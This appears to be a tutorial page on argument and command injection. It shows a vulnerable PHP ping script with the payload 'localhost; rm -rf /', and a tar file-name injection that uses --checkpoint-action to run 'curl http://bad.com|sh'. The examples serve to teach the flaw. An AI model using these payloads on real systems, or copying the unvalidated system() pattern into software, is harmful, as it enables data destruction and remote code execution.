Argument Exploitation
The application runs the program as part of normal operation.
Example: create a backup of a database to a compressed file.
A crafted payload may execute user-controlled commands before or after the expected program, exploiting the tool arguments.
The programs will mostly execute.
But other programs may be called.
Examples
1.
<?php
$host = $_POST["hostname"];
$command = 'ping -c 3' . $host;
system($command);
?>
The developer expects an IP address or hostname.
But doesn't do any kind of validation.
Custom payload can inject commands: hostname=localhost; rm -rf /
Result is 2 commands:
ping -c localhost;
rm -rf /
2.
The application asks user for the name of the backup file and backups a home directory:
tar -jcf user_backup_name.tar.bz2 /home/user
A user provides the following name:
.tar.bz2 --checkpoint=1 --checkpoint-action=exec=‘curl
http://bad.com|sh’ /etc/issue; #
which results in the following command:
tar -jcf user_.tar.bz2 --checkpoint=1 --checkpoint-
action=exec=‘curl http://bad.com|sh’ /etc/issue; #
/home/user
tar
The tar tool creates compressed files from archives, folders, and generic data.
Because the process can take a long time, it allows for checkpoints where actions are executed, usually to notify users.
Each every NUMBERth record executes a checkpoint action.
The checkpoint action is:
Get a file from http://bad.com
Execute the file as a bash script
Last updated